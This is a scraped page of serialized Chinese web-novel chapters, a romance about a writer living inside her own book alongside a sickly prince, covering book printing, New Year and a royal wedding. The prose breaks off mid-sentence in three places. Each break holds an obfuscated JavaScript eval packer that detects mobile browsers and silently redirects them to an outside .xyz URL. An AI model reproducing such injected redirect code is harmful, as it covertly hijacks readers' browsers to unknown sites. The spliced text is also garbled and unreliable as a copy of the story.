穆衍笑了笑:“淑瑶极善丹青,需要的话,我想她自己就能完成。” 这话听起来似乎有些不是滋味? 江沁月怎会不知道颜桃是个琴棋书画样样精通的才女?只是让她亲自来画话本小说插图,似乎有些大材小用了。 二人一边吃饭,一边接着就印书之事商量了些细节。之后便随意地闲聊,席间也算得上是谈笑风生。 江沁月还趁机尝了尝王府的珍藏美酒,她并不嗜酒,但来了古代自然不能错过,更何况王府中的肯定是好东西。 几杯酒下肚暖身暖心,但穆衍不能饮酒,一人独酌总少些兴致。饶是如此,酒足饭饱的江沁月还是心情大好,十分惬意。 “王府总是冷清,回来后我都有些怀念在邀月轩的日子。”穆衍睫羽低垂,灯火将他的双眼映照得温柔朦胧。 彼时彼刻,邀月轩中恰好相聚了四个孤独的人,凑出了一段时间的热闹。 “所以,江姑娘能来王府,本王很开心。美酒佳肴,总要与人同享才更有风味。”他抬眼认真地看着她,明明并未喝酒,眸中却沁着水色。 不要顶着这样一张好看的脸直勾勾地盯人看啊!江沁月赶紧移开目光。 “殿下愿意的话,以后我们可以都一同用膳。”江沁月脑子一热便脱口而出。 这话不太对吧,在穆衍的王府里邀请穆衍一起吃饭…… 穆衍莞尔道:“好啊,我也正有此意,还担心江姑娘会不愿意。” 夜已渐深,穆衍将她送到梧桐苑门口,正准备叫人护送着江沁月回去,却见云霞已经提灯等在院门口。 江沁月笑着招呼了她,转身向穆衍告辞。 “对了,我们也认识好些时日了,殿下不必叫我江姑娘,喊我名字就好了。” “那…明天见,沁月。”穆衍温声道。 17. 独在异乡新岁临 次日一早,江沁月与穆衍、颜桃便在书坊外碰了面。 穆衍先带她们在里面参观了一圈,书坊面积很大,虽说闲置已久,但雕版印刷的工具器械一应俱全,蛛网积灰也早已被扫除干净。 几人寻了个地方坐下,一起商讨书本的具体细节,不多时便确定了方案。 “可以先做文字的雕版,插图过几日我画好了再拿来。”颜桃爽快答应了画插图的事,接着道,“等过完年再发行出去吧,时间差不多。” 穆衍叫来管事,将他们写下的方案交给他,并吩咐他要听江沁月与颜桃的安排。 管事连忙应下,接过纸张扫了一眼上面的内容,就招呼众人忙碌起来了。 进展太过顺利,江沁月不免感慨,自己在现代工作时,与同事的沟通怎么不能如此顺畅? 说起来,就是因为没和傻逼同事对接好工作,才导致她穿越前那个深夜在公司悲惨加班。 书坊工匠们的效率也很高,赶在年前制完了雕版,印了样书拿来让他们过目。 “淑瑶,你看看还有什么需要改进的地方吗?”这几日颜桃常往王府跑,一来二去间江沁月与她也越发亲近起来。 “我觉得挺好的,”颜桃仔细翻看了一遍,没挑出什么毛病。 江沁月也将样书翻来覆去看了好几遍,总觉得应该可以再加点什么。 对了,可以在扉页上签名啊! 她立马把这个想法告诉了颜桃,补充道:“签名版的要限量发售,而且不是我签,可以的话,我希望由淑瑶和太子殿下一起亲自签,能写一些吉祥话的话就更好了。” 明星效应在古代自然同样适用,江沁月“妙笔生”的名号虽能算得上小有名气,但自然不如故事的二位主人公有威望。 有太子穆灼和才女颜桃的墨宝作为噱头,恐怕就算是目不识丁的人也愿意买书回去沾沾喜气。 “没问题。”颜桃毫不犹豫地应下亲签一事,“沁月姐姐,你似乎总是有很多有意思的奇思妙想。” 江沁月笑弯了眼:“过奖啦,淑瑶你有什么好主意我们也可以一起探讨嘛。” 万事俱备,众人的忙碌也告一段落。只等上元节后颜桃将亲签的纸笺拿来,便可大量印刷装订准备发行了。 …… 还有三日便是除夕了,王府已经彻底大扫除了一遍,花园里回廊下挂上了花灯,各处的窗户也贴上了剪纸窗花,红艳艳的色彩为一向冷清的王府平添几分热闹氛围。 而京城的街巷集市就更是热闹喜庆了,江沁月和穆衍并肩随着熙熙攘攘的人群慢慢走动,路边摊贩和商铺中琳琅满目的货品让人应接不暇。 云霏和云霞也一起出来了,跟在他们身后不远处,以保护二人安全。 “殿下今年怎么突然想着要逛集市了?府中需要的东西都备齐了啊。”云霏跟云霞咬耳朵道。 云霞淡淡道:“江姑娘第一次在京城过年,殿下特意带她来凑热闹的。” “我知道啊,我是说…阿霞,你觉不觉得,殿下好像挺喜欢江姑娘的?” “这有什么?我也很喜欢江姑娘啊,你很讨厌江姑娘吗?”云霞奇怪地瞥他一眼。 “不讨厌啊,我也挺喜欢江姑娘的……哎呀!我说的不是这种喜欢……” “云霏,你这么长的舌头若是在宫里做事,应该已经死了八百回了。”云霞凉凉地打断他,不知道她的好哥哥每天哪来那么多话。 “我才不去宫里做事!而且你可是我亲妹妹!跟你我有什么不能讲的唔……” 云霞将一串糖葫芦塞进他嘴里,总算是让他消停了下来。 穆衍和江沁月自然没听到后方兄妹二人的对话,江沁月不仅是第一次在京城过年,还是第一次在古代过年,看什么都很新奇。 “有什么看得上的玩意,直接拿就好。”穆衍看她兴致颇高,笑着道。 “不用不用,看个新鲜就好。”江沁月只是对一些没见过的小玩意感到新奇。 然而穆衍还是把她多留意两眼的东西全都买下了,打包丢给了云霏,沉重的体力劳动终于让他失去了说话的力气。 云霞对此表示十分满意,并且不打算搭把手帮他忙。 “沁月,要看看衣服吗?新岁将至,正好穿新衣。”穆衍指了指不远处京城最富盛名的成衣铺。 “不用了吧?我那满满一柜子的衣服都还没来得及穿几件……”江沁月道。 “之前不知你喜好,便让云霞将时兴的样式都备了一些,今儿个你挑一些自己喜欢的吧。” 也不好拂了他一片好意,江沁月便答应了进去逛逛。 穆衍带着她直接上了楼,边走边解释道:“用料最好、做工最细的成衣都在二楼,一楼那些货色不必看了。” 江沁月一瞧,楼上楼下的陈设风格确实是大不相同,大概就是楼下是快消品,楼上是奢侈品吧。 既看得出这些服饰价值不菲,她也无心挑选了,转悠着看了一圈便打算寻个由头离开。 欸?角落里那件青色的袄裙倒是别致,冬衣甚少用这样清透的颜色,而衣领袖口处的银灰色貂绒滚边也恰如其分地让这分鲜妍不会显得太过跳脱。 “你穿上那件一定好看。”穆衍敏锐地捕捉到了她眼神在那件袄裙上的一瞬停留。 “但这颜色不太适合冬天穿……” “不必适合冬天,适合你就是极好的。”穆衍不给她推辞的机会,直接叫人来打包,“尺寸应当也合适,稍有差池的话让人改改就好。” 你的眼睛就是尺?江沁月目瞪口呆,她自己都看不出来那袄裙穿上是否能合身。 “这青色袄裙与方才买的那几朵绒花发饰也很相配,发间再插上玉簪作点缀更佳。”穆衍说着又点了几件衣裳,让人一并包上。 不得不说,穆衍不仅容貌出色,审美也是极佳。 他自己日常的衣着首饰便极为讲究,没想到对女子服饰的搭配也是得心应手,他另外选出来的那几件,也颇合江沁月的心意。 毕竟是她笔下的世界,这里自然不缺美人。然而美人千千万,有人美而不自知,如清水出芙蓉;有人美而自知,并用心加以妆饰,当真是赏心悦目。 穆衍应当是属于后者,他肯定是知道自己好看的,但他不会妄自菲薄,亦不会顾影弄姿。 这几件衣服加起来的价格可不便宜,穆衍随手抽出几张银票付了钱,随意得仿佛只是在路边买了俩包子。 真是……有颜又有钱,江沁月承认自己心动一秒,没有人能拒绝这样的男人。 但是他为什么要对自己这么好?她只是因印书之事暂居王府,他们能不能算朋友都难说,毕竟穆衍对她应该是有疑心的。 走出成衣铺时,江沁月还是没忍住,低声问了他为何。 “不必在意,于我而言算不上几个钱。”穆衍怔愣一瞬后回答道。 “王府少有客人,这是我以为该有的待客之道,更何况沁月你是我的救命恩人,我自然想用最多最好的东西招待你,抱歉让你感到不自在了。” “不不不,殿下跟我道歉干什么……是我不识好歹了……”江沁月不好意思道。 是她自己太别扭了,总是很难坦然接受他人的好意,或是急于偿还。 来到这里之后遇到的人大多充满善意,她喜欢笔下这样的世界,却又怕安宁祥和之下酝酿着更汹涌的恶意,更怕自己会乐不思蜀,失去回家的执念。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你们喜欢就好,”得到认同的江沁月十分欣慰,“昭兰姐回老家过年了,等她回来了我就把配方拿过去,说不定她还能改良一下。” 四人围坐在窗边的案几前,铜锅中的热汤“咕嘟咕嘟”地翻涌沸腾着,腾腾热气将本就温暖的室内熏得有些过于燥热,幸而支起窗户后吹进来的冷风让众人都舒爽了不少。 京城迎来了入冬以来最盛大的一场雪,此刻窗外仍有纷纷扬扬的雪花飘落,院中早已积起了厚厚一层落雪,屋里明亮的烛火却把雪色映得暖了几分。 夜已深,但京城的万家灯火彻夜辉煌,守岁的人们共同期盼着新岁来临。 对江沁月而言,这是一个特别的新年,但是独在异乡为异客,她也有些思念亲友了。 她扒在窗沿上,仰头看着漫天落雪,有雪花飘落在她的鼻尖上,转瞬间便融化消失不见。 “咚——”悠扬的新年钟声响起,夜空中随即绽放开无数绚烂的烟火。 穆衍给四人杯中都斟满了酒,江沁月本想劝穆衍爱惜身体别喝酒,但又觉得新年之际何必扫兴。 她毫无防备地将杯中淡棕色的液体一饮而尽,结果被这辛辣涩口的味道呛得说不出话来。 “咳咳咳……这是药酒吗?好难喝……”江沁月眼泪都被呛出来了。 “这是屠苏酒,里面加了大黄、白术等十余种药材,确实也能算药酒了。”穆衍适时地递上一方丝帕,“沁月的家乡在过年时,没有喝屠苏酒的习俗吗?” “很少有吧,我家反正没有……”她突然想起自己编造的寡妇人设,严谨地补充道,“我娘家和夫家都没有,今日第一次喝。” “原来如此。”穆衍的眸色微不可察地黯了黯。 云霞笑道:“难怪江姑娘一口闷了,我们都是浅抿两口意思一下。” “阿霞最有发言权!她来京城第一次喝时,也是猛灌一大口被呛得不行哈哈哈……”见妹妹收敛笑意飞来一记眼刀,云霏立马噤了声。 今夜偌大的王府灯火通明,但只梧桐苑一处热闹所在,唯此一隅,却足以叫人安心。 18. 佳礼贺喜同赴宴 年还没过完,颜桃便带着签好名的厚厚一沓纸笺来拜年了,她是过年期间王府迎来的第一位客人。 尽管穆衍手中已无实权,但以他的功绩与身份地位,自是不缺上赶着攀关系讨好的人。其实不少人都登门拜访过或递了帖子,但穆衍都以养病为由回绝掉了。 “殿下逢年过节时都不见外人吗?那那些人巴巴地凑上来做什么?”江沁月悄悄问过云霞。 她之前就知道穆衍其实温和又淡漠,就像一块看似温润的寒玉,但是…… 云霞摇摇头,亦是百思不得其解:“一般都会见一些应付一下,也就今年直接闭门谢客了。” 或许是鬼门关里走一遭后身心俱疲,让他再无余力去与人周旋逢迎了吧。 颜桃此番还带来了一样东西——她与穆灼的婚礼请帖。 “日子定在下月十五,殿下到时候会来的吧?”颜桃小心翼翼地问道。 江沁月闻言来了精神,仔细观察着对面穆衍的神情。她也十分好奇,穆衍会答应去吗? 打个不太合适的比方,这就像是舔狗收到了前女友的婚礼请柬…… “好,我会去的。”穆衍修长的手指在请帖上敲了敲,平静地答应了。 嘶……这么云淡风轻的吗?而且他居然愿意去? “沁月姐姐,可以的话,我希望你也能来。”颜桃说着将另一封请帖递到了江沁月面前。 江沁月怔怔地接过请帖,澎湃感慨的心潮如同接到心仪大学的录取通知书那时一样。 女主角亲自邀请她去参加婚礼欸!作者能亲自去到笔下主角的大婚现场,她回去能吹上三天三夜。 “姐姐有什么顾虑吗?”见她沉默不语,颜桃关切地问道。 “也没什么……就是有点担心我这身份去不太合适,怕冲撞了贵客。”江沁月确实有所顾虑。 她虽然是原书作者、主角亲妈,自我感觉去坐高堂也是天经地义,但在这里她只是个小老百姓,何德何能去参加当朝太子的婚礼? “身份?大家都是受邀前来的宾客,没什么不合适的。”颜桃拍拍她的手,示意她放宽心。 “不必担忧,届时你可与我一同前往。”穆衍也在一旁说道。 …… 不日后书坊开工,大量的印刷、装订工作也紧锣密鼓地进行着。江沁月还拜托了林三说书时帮忙宣传一下,让他一定要强调有主角二人的限量亲签。 穆灼与颜桃的婚讯已传遍了整个京城,《东山起》趁着这天赐良机全城发行,一时间竟被哄抢一空,亲签版的更是高价难求。 而且据她这些日子的观察了解,京城百姓的文化程度还挺高的,大字不识的人并不占多数。 印书之事已暂告一段落,江沁月已经没有理由再长居在王府,但她没忘了自己有任务在身,还是在离穆衍近一些的地方为好。 她心中已有了盘算,这日寻了个合适的时机准备跟穆衍提一提。 “殿下,看着《东山起》如此畅销,我又有了一些新想法,不知殿下是否有兴趣?”江沁月问这话时不可谓不紧张。 他要是直接说不感兴趣,她可能就得收拾包袱遗憾离场了。 “哦?说来听听。”幸而穆衍还挺给面子。 江沁月深吸一口气道:“我想可以编写一种固定周期发行的书籍,收录时兴的各类故事,比起口耳相传,白纸黑墨或许能更好地让这些故事传承下去。” “小故事中往往也暗藏着大道理,都有被记录的价值。”江沁月试图提高自己的说服力,她记得穆衍之前也说过类似的话。 穆衍想都没想便道:“我觉得不错,很有意思的想法。可是具体想如何操办呢?” 江沁月早有准备:“我想将这刊物命名为《四时杂谈》,于春分、夏至、秋分、冬至之时各发行一册,一年合计四册。” “每一册收集近来的热点故事,这故事自然不能我一人来写,我们可以向大众征稿。” “另外可以与邀月轩合作,上刊的故事可以让妙语花说道演绎,进一步提高其流传度,我们也算是互惠互利。” 她的灵感与知识储备有限,光靠她创作和“借鉴前人”的故事,不足以支撑邀月轩的说书产业长盛不衰。 而这样一来,便可以使那三尺讲台成为真正的“百家讲坛”,吸纳更多人的故事。 “所以,沁月是想借我这书坊一用?”穆衍道。 江沁月点点头,期盼又忐忑地看着他。 心中其实有些没底,穆衍没有义务帮她,为她一时兴起的奇思妙想提供助力。 “好,反正这书坊闲着也是闲着,不如找点事做。”没想到穆衍答应得挺爽快,“沁月你放手去做,书坊以后你可以随意使用。” 说着他唤来云霏,将书坊的钥匙与令牌交给了她。 “多谢殿下,我一定好好干,不辜负殿下的好心。”江沁月欣喜接过,心中半块石头落了地。 另外半块石头,是在思忖着如何才能继续留住在王府。毕竟光是在书坊,她估计没什么机会见着穆衍,更遑论观察续写他的命运了。 江沁月决定来一招以退为进。 “殿下,这些日子多有叨扰,过些日子待我寻到合适的住处,我就尽快搬走。”江沁月作出几分不好意思的样子。 穆衍愣了一下,旋即道:“你在京城举目无亲,何来合适的住处?要回邀月轩那边吗?” 不等她回答,他便接着道:“不必如此折腾,你在王府想住多久住多久,这里也没有旁人,你去书坊也方便得多。” 妙哉!江沁月心中狂喜,面上却不敢表露出来,半推半就客客气气地答应了。 既然决心在春分时发行,那时间也算不上紧张,江沁月着手准备之际,颜桃听闻了此事,兴致勃勃地找来表示可以继续帮她画插图。 江沁月一边忙着新业务,一边抽空搞定了婚礼当日要送去的贺礼。 她寻了京城最好的工匠,让他用纯金打造了一棵一尺高的姻缘树,金灿灿的枝叶上缠挂着红珊瑚珠串成的姻缘线。 来到这里之后她赚的钱并不少,但这份贺礼还是花掉了她大半小金库。 江沁月完全不心疼钱,笔下的主角就像是自己的孩子,她只怕自己的贺礼不够贵重、不够用心。 …… 穆灼虽为太子,但并未居住在东宫。他以自己从小不在内廷长大为由,被封为太子后依然居住在宫外的府邸。 婚礼自然也在这里举行,为此礼部还修改了部分婚礼流程。 府中上下一派喜气洋洋,江沁月与穆衍同行,第一次见到了男主角穆灼。 主角或许真的自带光环,哪怕周遭人来人往,你都能第一眼看到他。 穆灼穿着繁重的礼服,更显气度不凡。意气风发的少年走过来笑着招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157933|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼他们,言行举止间自带亲和力。 穆衍与穆灼是堂兄弟,但二人并没有什么相似之处,甚至可以说是截然相反。 江沁月的视线在二人之间转了几圈,单论长相而言,她私心里觉得穆衍其实更好看。 穆灼像是明媚热烈的太阳,本就该在最高处普照众生,让人甘愿臣服追随。 而穆衍只比穆灼年长个三四岁,看起来却温和沉静得多,甚至时常给人以淡漠疏离之感,好似平静无波的一池死水。 她相信穆衍不是一直这样的,他从小到大都良善地对待这个世界,命运却待他不公。就在不久前,他都还是凯旋而归春风得意的青年将军,如今…… 江沁月默默下定决心,既然她来了这里,就要将这朵饱经风霜的小白花重新养好。 一阵寒暄后,云霏和云霞将二人带来的贺礼呈上,穆衍送的东西很多,最稀奇的是一柄触手生温的白玉如意。 而穆灼看见江沁月送的小姻缘树后十分惊讶:“江姑娘非富非贵,不必送如此贵重的礼物的。” 穆衍没说话,但看上去也颇为讶异,江沁月之前没跟他说送了什么。 “我与淑瑶一见如故,就想着要送便送最好的。钱嘛,可以再挣的,我也不至于就吃不起饭了。”江沁月道。 “多谢,改日我便让人打个琉璃罩来,将这树好好珍藏起来,定不辜负江姑娘美意。”穆灼笑着说。 众多宾客来来往往,穆灼也不与他们多聊,让人引他们入内。 自从在庆功宴上晕倒后,穆衍应该几乎没在人前出现过,能来这里的大多都是京中权贵,见到穆衍无不恭敬客气地行礼问好。 “见过襄王殿下,不知殿下如今身体可好?之前送去王府的燕窝殿下可还用得惯?需要的话臣再命人送些去。” 又来一个,这些人在问候时,大多都会状似不经意地提起自己曾送去些什么东西。 “凌大人有心了,本王已无大碍。”穆衍道,接着难得多问了一句,“令郎今日没来吗?似乎没看到他。” “啊……有劳殿下记挂,犬子前几日得了风寒,还没痊愈所以便没来。”这位凌大人应当与穆衍没什么交情,没想到他会多问。 “殿下、这位……小姐,下官先行一步。” 凌大人犹豫了一下该如何称呼江沁月,他拿不准这女子是何身份,襄王尚未婚配,甚至一向不近女色,她却跟在他身边,大抵是族中姐妹之类的? “我叫江沁月,是颜小姐的朋友,今日受邀来参加婚礼。”江沁月自我介绍了一下。 “沁月亦是本王府上贵客,最近受我所托在帮忙做事,今日便与本王同行前来了。”穆衍补充道。 她帮他做事?她自己都不知道帮什么了。江沁月闻言偏头看向他,心下不解。 明明之前是一起帮颜桃印书,现在是她请他帮忙借书坊一用…… “不必与他多费口舌解释太多,但若完全不解释,恐怕这些人会妄议你的身份,招来诸多风言风语。”待凌大人走远后,穆衍道。 他似乎总是能看穿她心中所想, 风言风语?江沁月一下子也明白了穆衍的意思,不解释的话她可能会被当成他的姬妾之类的…… 尽管这种正式场合一般根本不会允许这种身份低微之人进入,而且穆衍府中根本没有姬妾。但人言可畏,谣言这种东西,总是越传越离谱的。 19. 佳人成双心难平 皇室的婚礼流程庄重而繁琐,从黄昏熬到了天黑,总算是快结束了。 江沁月看着堂前的穆灼与颜桃,二人仿佛佳偶天成,含笑共饮下手中的交杯酒。 今天的颜桃格外漂亮,凤冠霞帔,朱唇绯颜,笑得明媚夺目。 亲历亲见之后,江沁月忽然知道拖欠很久的大婚番外该如何写了,她决定回去之后就打在手机上,穿回现代后就发出去。 她不自觉露出欣慰的姨母笑,感动得快要落泪。 大婚也不会是他们的结局,穆灼和颜桃的故事会在读者不知道的地方延续。 而自己还有幸能继续亲眼见证一段时间他们的幸福,直至回家。 身边之人良久不说话,穆衍有些不习惯,转头一看,只见她出神地看着那双璧人。 她嘴角噙着笑,却眼眶湿润……她在想些什么? 她与淑瑶的关系不错,是因为好友的出嫁而感慨吗?可她们相识并不久,日后也能常相见,何至于此? 是目睹这番热闹景象,想起了从前的丈夫吗?之前听她所言,她夫家人刻薄恶毒,但她与丈夫的感情似乎还不错。 或许他们成婚时,少女心绪的她也对未来生活有着美好的憧憬。 今日这般,是触景伤情了吗? 他回想起与江沁月相遇后的种种。 重伤初醒后,第一时间映入眼帘的便是她离得很近的清秀脸庞,那双黑白分明的眼睛清澈纯净。 之后的一段时间里,也是她照顾他最多,还给他带来话本小说解闷,请他品尝新品茶点。 穆衍看得出来,江沁月有心刻意关照他,其实他也总留意着江沁月的一举一动。 尽管总觉得江沁月身上有诸多扑朔迷离之处,但他已将她视作亲近之人,或者说……朋友? 他还记得她落笔成章时认真专注的神情,记得她在院中私下练习时偶尔的蹙眉,记得她在台前讲故事时眉目间的神采飞扬,记得她找他借用书坊时眼中的期冀与忐忑。 她所做的一切,都是她发自内心所喜欢的。 这样坚韧美好的女孩,竟然曾经差点在一个蛇鼠一窝的夫家蹉跎一生。 他突然为她感到庆幸。 幸好那个无能的丈夫死掉了,夫妻感情好有什么用?日子一久总有可能变心,那个家会成为真正的地狱。 幸好她逃了出来,在广阔的世间,在繁华的京城,她可以追求自己想要的人生。 那些日子不值得她再去回忆。 穆衍收回流连在她身上的目光,心不在焉地继续观礼。 “礼成——”随着礼官的一声高呼,漫长的仪式终于结束了。 宾客们熙熙攘攘地向宴饮之处走去,江沁月与穆衍并行,但二人都沉默不语。 江沁月刚才就注意到了,穆衍的脸色有些难看,大抵是看着这二人成婚,心情不太好…… 没事哒没事哒,接受这个事实就好啦,你也会有自己的金玉良缘的——江沁月很想这么安慰他,但这话实在是不好开口。 说什么也是枉然,他自己慢慢也会想通的。 喜宴上觥筹交错,穆衍看起来已恢复一如既往的淡然,和席间诸位推杯换盏,饮了不少酒。 江沁月也未劝阻,一来会暴露他身体并未好全的情况,二来或许他是想借酒消愁呢。 由着伤心人去吧。 从太子府出来时,已是月上中天。 “沁月,我们走回去吧。”穆衍喝得有些多,说话时语速放得很慢,咬词也有些不清。 “殿下还好吗?夜里风大,别受了寒又病倒了。”江沁月担忧地看着他。 “我没事,就是想吹吹风醒醒酒。” 江沁月便依着他,和他一起向王府的方向走去,云霏和云霞也跟在他们身后慢慢走着。 “你们先回去吧,这里离王府不远,不用管我。”穆衍对他二人道。 兄妹俩对视一眼,分别跃上两边的屋檐,几个跳跃间隐去了身形。 提前回府是不可能的,远远跟着确保安全还是有必要的。 他们没忘殿下上次深夜独自出行,差点命都没了,况且现在甚至还有个刺客下落不明。 “沁月,你……之前成婚时,是怎样的情景?”穆衍想了很久,还是借着微薄的醉意问出了口。 “啊?我?”江沁月有些懵,怎么突然问到她身上了? 还有,为什么老抓着她这段不存在的过往一直问?是想从这里找出她身份的破绽吗? 没办法,江沁月只能继续胡诌:“我成婚的时候……我们两家都不富裕,办得简单,就简单走个流程,两家人一起吃了顿饭。” “那你们可有子女?若是孩子还在你夫家,我可派人去替你接来。” 他在说些什么?话一出口,穆衍自己都觉得荒唐。 “……什么?”江沁月一时竟不知该如何回答,这越问越离谱了。 “呃……那个,我丈夫他……他不举!我们没孩子,没孩子……”回答得也挺离谱,但她管不了那么多了,只希望穆衍别再问了。 “抱歉,是本王唐突了。”穆衍这么说着,心下却满是嘲弄,这种人也配娶妻? 呵,无能之辈,无用之极。 见他不再继续这个话题,江沁月暗暗松一口气。 忽然,穆衍停住了脚步,江沁月也跟着停下来,却见他面色惨白如纸,连嘴唇都失了血色,双眉紧蹙地捂着心口,手背上的青筋因用力而暴起,仿佛在忍受着什么巨大的痛苦。 “殿下?你怎么了?!”江沁月被他这副摸样吓了一跳,下意识地伸手想扶住他。 穆衍根本说不出话来,从心口蔓延到四肢百骸的阵阵剧痛让他不由自主地跪倒在地,喉间涌上浓烈的铁锈味,他猛地咯出一口鲜血。 他尽力偏开了头,却还是不可避免地弄脏了她的衣袖。 失去意识前,穆衍最后看到的是江沁月花容失色的神情,她似乎在喊他,但他听不清。 自己这副样子一定把她吓坏了吧。 “殿下?穆衍?穆衍?!”江沁月声音有些颤抖,跪坐在冰冷的地面上,半扶半抱着穆衍的身体。 这一切发生得太快,她确实被惊得有些手足无措。 好在云霏和云霞立马赶到,云霏一边向皇宫的方向疾行一边道:“阿霞你和江姑娘带殿下回府,我去请太医。” 云霞二话不说将穆衍背起,拉上江沁月赶回了王府,将穆衍带回梧桐苑安置在床榻上。 “江姑娘先回去休息吧,我留在这里照顾,太医也马上就来。”云霞道,“殿下这是发病了,不必太担心,等兄长回来,我就回清秋苑来。” 江沁月明白自己在这里帮不上什么忙,她甚至连穆衍到底是什么病都不清楚。 “好。”她抿抿唇,最后看了那人苍白脆弱的容颜一眼,转头向自己的住处走去。 江沁月心乱如麻,自然是睡不着了,抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16164170|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着被子盘坐在床上发呆,腿被压麻了也浑然不觉。 她没想到穆衍的病如此严重,毕竟平日里他看起来与常人无异。 难道真是因为意难平而郁结于心,气得发病了吗? 她左思右想,拿出手机给漆桐发消息:“穆衍要是死了怎么办?” 仙君最近似乎不算繁忙,不一会儿便回了消息。 漆桐:“现在死了的话,你应该算是gameover了。” 漆桐:“你扪心自问一下,他现在死和之前遇刺就死,除了多活了几个月,还有区别吗?” 江沁月:“……” 其实听云霞的意思,穆衍应该不会有生命危险,但她还是不可避免地忧虑起来。 漆桐:“你人都来了,在必要时刻推波助澜一下,为他带来一些实质性的进展嘛。” 江沁月把手机塞回枕头下面,懒得再理她,天天尽说些没用的话。 翻来覆去一直捱到天蒙蒙亮,江沁月终于沉沉睡去。 再醒来时已经是日上三竿,她穿衣下床,恰好看见云霞提着食盒进来。 “殿下已无大碍,江姑娘,先用早膳吧。”云霞道,“知道姑娘担心,待会儿我陪你去梧桐苑。” 江沁月一边吃,一边还是忍不住问道:“云霞,殿下他……到底是什么病啊?这么严重吗?” “原来姑娘不知道吗?我觉得也没有瞒着你的必要。”云霞紧接着言简意赅地讲了下情况。 先天带有的隐疾,一发不可收拾成了无法治愈的心疾,听起来应该和先天性心脏病差不多?古代又不能做手术,看来穆衍确实没什么痊愈的可能了。 早知道写书的时候就敲定他是什么病,或许他就不用这样终生被病痛折磨了。 几口扒拉完早饭,江沁月便赶去梧桐苑探病,一进屋便看见穆衍已经醒了,正斜倚在床头喝药。 “你来了,快坐吧。”穆衍见她来了,将手中药碗搁到一边,唇角勾起一丝浅淡的笑意。 江沁月在床边坐下,将他上下打量一番,眼前人看起来确实已无大碍,只是面色依旧苍白。 “殿下没事了就好,昨晚真是吓死我了。”江沁月总算是放下心来。 思虑再三,她决定还是要好好开解一下穆衍,保持心情愉悦才有利于身体健康嘛,万一他自己想不通怎么办? 尽管江沁月早打好了腹稿,此刻房中也只他二人,但她还是踌躇了片刻,终于鼓起勇气开了口。 “殿下,我知道你心悦淑瑶……太子妃已久,昨日眼见着她与别人成婚,你心里肯定不好受。” “但请殿下勿要执念于过去的人和事,心结难解,反倒伤了自己身体。” “我也知道太子殿下与太子妃携手走到今天,其中离不开殿下的助力。殿下既已成全他人,那也放过自己吧,未来定会有能真正托付真心之人。” 静静地听她说完这些话后,穆衍垂眸沉默不语,房间中沉寂得似乎连空气都有些凝滞。 是被她说中了吗?还是这话太冒犯,让他更不悦了? 江沁月心里七上八下,撇开头装作若无其事地四下打量着他的房间。 “沁月。” “嗯?”江沁月闻声回头,正对上他抬眸看向自己的视线。 此刻那双漆黑的眼睛微微眯起,古井无波的眼神中难得浮现出一丝迷茫。 “我不知道你为何突然说起这些话……可是,我未曾喜欢过淑瑶。” 20. 良药苦口为谁安 江沁月懵了。 之前还准备了很多宽慰他的话,现在似乎已经失去了意义。 “……未曾喜欢?”她喃喃道,“可是你们之前有婚约,你还一直劝她不要和太子殿下在一起……” 这话似是在问他,又像是在自问。 笔下的温柔美强惨男二说他从未喜欢过女主,这还是自己写的书吗? 江沁月有种天塌了的感觉,整个世界都仿佛是虚假的。 穆衍完全不明白她为何一副失魂落魄的样子,但他不想她继续误解下去,所以他选择将一切讲述出来。 “淑瑶是我的远房表妹,她母亲与我母亲交情甚好,常带着她来王府玩。我没有别的兄弟姐妹,一直把她当亲妹妹看待。” “联姻关乎家族利益,婚事是长辈们口头约定的。她与我彼此知根知底,我们那时对此也没什么意见。” “后来淑瑶与太子殿下相识相知,他们互相爱慕,她说想要解除我们的婚约。” “我挽留她、阻挠她,是因为当时在我看来,还是三皇子的太子殿下并非良人。” “她是我的妹妹、我的朋友,我希望她能嫁给最合适的人,不要卷入这些纷争风云。” “再后来我也明白了,淑瑶远比我认知中的她更有魄力,他们俩天生一对。既然如此,我自会在力所能及处帮助他们。” 所以从头到尾一直都是好哥哥吗? 江沁月还是不甘心就此相信:“那殿下为何会突然发病?我以为殿下是气急攻心……” “殿下,皇上来了。”云霞进来通风报信,打断了二人的对话。 院中传来繁杂的人声,江沁月连忙从床边起身,和云霞一起退到一边。 皇帝进来时,江沁月偷偷瞄了这位九五至尊一眼,面容看上去不怒自威,约莫四十出头的年纪却花白了头发,瘦削的身形昭示着他的健康状况也不容乐观。 看来要当个好皇帝可不是一个轻松活儿。 “怎敢劳烦陛下亲自出宫来看望臣子……”穆衍说着便要起身下床给皇帝行礼。 “快快免礼,衍儿,你怎么突然发病如此严重?张院判,之前朕不是命你来好好诊治了吗?”皇帝扶住穆衍,问向太医时颇带几分怪罪。 跟在后面的张院判跪地叩首:“陛下恕罪,殿下的心疾本就极难彻底治愈,且每发作一次都会给机体带来不可逆的损害。微臣开的药方能护住心脉减少发病次数,但需要长期坚持服用才有效果。” “殿下平日里未能谨遵医嘱好好服药,长期心气郁结,又多饮了酒,这才诱得发了病。” 